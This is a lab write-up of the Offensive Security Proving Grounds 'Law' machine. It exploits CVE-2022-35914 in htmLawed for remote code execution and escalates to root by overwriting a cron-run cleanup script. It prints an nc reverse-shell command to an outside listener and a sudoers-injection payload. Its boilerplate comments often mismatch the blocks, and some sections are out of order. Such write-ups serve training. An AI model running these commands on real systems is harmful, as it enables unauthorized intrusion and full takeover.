Proving Grounds: Law

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

The lab emphasizes enumeration techniques, including web enumeration, to uncover vulnerabilities in applications. Learners will exploit CVE-2022-35914 to gain initial access. Additionally, the lab teaches how to abuse cronjobs for privilege escalation.

Scenario

This lab demonstrates exploiting HTM LAWED with the CVE-2022-35914 vulnerability to achieve Remote Code Execution (RCE) through an injection in the hhook parameter. Privilege escalation is performed by modifying a writable cron-executed cleanup script, injecting a malicious payload to escalate privileges to root. This lab highlights web exploitation, cron job enumeration, and privilege escalation through script abuse.

Learning objectives

After completion of this lab, learners will be able to:

Enumerate the web server and identify HTM LAWED running on the target system.
Exploit the RCE vulnerability (CVE-2022-35914) to gain a reverse shell as www-data.
Enumerate the system to identify the writable cron-executed cleanup.sh script in /var/www/.
Modify the cleanup.sh script to escalate permissions, such as enabling the SUID bit on /bin/bash.
Execute /bin/bash -p to escalate privileges and gain root access.

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

─(kali㉿kali)-[~/offsec/law/CVE-2022-35914-poc]
# Run the helper or analysis script used in this lab step.

└─$ python3 CVE-2022-35914.py -u http://192.168.170.190/index.php -c 'cat /etc/passwd'
/home/kali/offsec/law/CVE-2022-35914-poc/CVE-2022-35914.py:19: SyntaxWarning: invalid escape sequence '\ '
  / ___\ \   / / ____|   |___ \ / _ \___ \|___ \    |___ / ___|/ _ \/ | || |
/home/kali/offsec/law/CVE-2022-35914-poc/CVE-2022-35914.py:64: SyntaxWarning: invalid escape sequence '\$'
  return_code_search_regex = "\$spec\: (.*)"
/home/kali/offsec/law/CVE-2022-35914-poc/CVE-2022-35914.py:67: SyntaxWarning: invalid escape sequence '\['
  output_search_regex = "\[xml:lang\] \=\> 0\n(.*)\n\)"
/home/kali/offsec/law/CVE-2022-35914-poc/CVE-2022-35914.py:72: SyntaxWarning: invalid escape sequence '\='
  cleaning_regex = ".*\=\>"
  
  ______     _______     ____   ___ ____  ____      _________  ___  _ _  _   
 / ___\ \   / / ____|   |___ \ / _ \___ \|___ \    |___ / ___|/ _ \/ | || |  
| |    \ \ / /|  _| _____ __) | | | |__) | __) |____ |_ \___ \ (_) | | || |_ 
| |___  \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) |__) \__, | |__   _|
 \____|  \_/  |_____|   |_____|\___/_____|_____|   |____/____/  /_/|_|  |_|  

[+] Command output (Return code: 0):
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
 sync:x:4:65534:sync:/bin:/bin/sync
 games:x:5:60:games:/usr/games:/usr/sbin/nologin
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
 systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
 systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
 messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
 systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
 sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
 systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output confirms the effective user and privilege level of the current session.

2026/06/15 20:17:20 CMD: UID=0     PID=3      | 
2026/06/15 20:17:20 CMD: UID=0     PID=2      | 
2026/06/15 20:17:20 CMD: UID=0     PID=1      | /sbin/init 
2026/06/15 20:17:32 CMD: UID=0     PID=79330  | 
2026/06/15 20:18:01 CMD: UID=0     PID=79331  | /usr/sbin/CRON -f 
2026/06/15 20:18:01 CMD: UID=0     PID=79333  | /usr/sbin/CRON -f 
2026/06/15 20:18:01 CMD: UID=0     PID=79334  | /bin/sh -c /var/www/cleanup.sh

Initial Access

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The scan output identifies the target's exposed services and their versions.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: htmLawed (1.2.5) test
|_http-server-header: Apache/2.4.56 (Debian)

Searching online, we found htmlawed v1.2.5 is vulnerable to RCE
found the exploit here https://github.com/cosad3s/CVE-2022-35914-poc/tree/main

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

─(kali㉿kali)-[~/offsec/law/CVE-2022-35914-poc]
# Run the helper or analysis script used in this lab step.

└─$ python3 CVE-2022-35914.py -u http://192.168.170.190/index.php -c 'nc -e /bin/bash 192.168.45.205 4444'
/home/kali/offsec/law/CVE-2022-35914-poc/CVE-2022-35914.py:19: SyntaxWarning: invalid escape sequence '\ '
  / ___\ \   / / ____|   |___ \ / _ \___ \|___ \    |___ / ___|/ _ \/ | || |
/home/kali/offsec/law/CVE-2022-35914-poc/CVE-2022-35914.py:64: SyntaxWarning: invalid escape sequence '\$'
  return_code_search_regex = "\$spec\: (.*)"
/home/kali/offsec/law/CVE-2022-35914-poc/CVE-2022-35914.py:67: SyntaxWarning: invalid escape sequence '\['
  output_search_regex = "\[xml:lang\] \=\> 0\n(.*)\n\)"
/home/kali/offsec/law/CVE-2022-35914-poc/CVE-2022-35914.py:72: SyntaxWarning: invalid escape sequence '\='
  cleaning_regex = ".*\=\>"
  
  ______     _______     ____   ___ ____  ____      _________  ___  _ _  _   
 / ___\ \   / / ____|   |___ \ / _ \___ \|___ \    |___ / ___|/ _ \/ | || |  
| |    \ \ / /|  _| _____ __) | | | |__) | __) |____ |_ \___ \ (_) | | || |_ 
| |___  \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) |__) \__, | |__   _|
 \____|  \_/  |_____|   |_____|\___/_____|_____|   |____/____/  /_/|_|  |_|

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

(kali㉿kali)-[~/offsec/law]
# Execute the next evidence-gathering step in the authorized lab.

└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.170.190] 46412
# Run the helper or analysis script used in this lab step.

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Execute the next evidence-gathering step in the authorized lab.

www-data@law:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@law:/var/www/html$

Running pspy64 we can see that root user is running /var/www/cleanup.sh file and we have permissions to edit the file

Privilege Escalation

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Execute the next evidence-gathering step in the authorized lab.

www-data@law:/tmp$ echo 'echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > /var/www/cleanup.sh
<PASSWD: ALL" >> /etc/sudoers' > /var/www/cleanup.sh
# Read the file contents for useful configuration or credential data.

www-data@law:/tmp$ cat /var/www/cleanup.sh
# Read the file contents for useful configuration or credential data.

cat /var/www/cleanup.sh
echo \"www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Identify commands that can run with elevated privileges.

www-data@law:/tmp$ sudo -l
# Identify commands that can run with elevated privileges.

sudo -l
Matching Defaults entries for www-data on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on localhost:
    (root) NOPASSWD: ALL
    (root) NOPASSWD: ALL
# Execute the next evidence-gathering step in the authorized lab.

www-data@law:/tmp$ sudo su root
# Execute the next evidence-gathering step in the authorized lab.

sudo su root
root@law:/tmp#

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.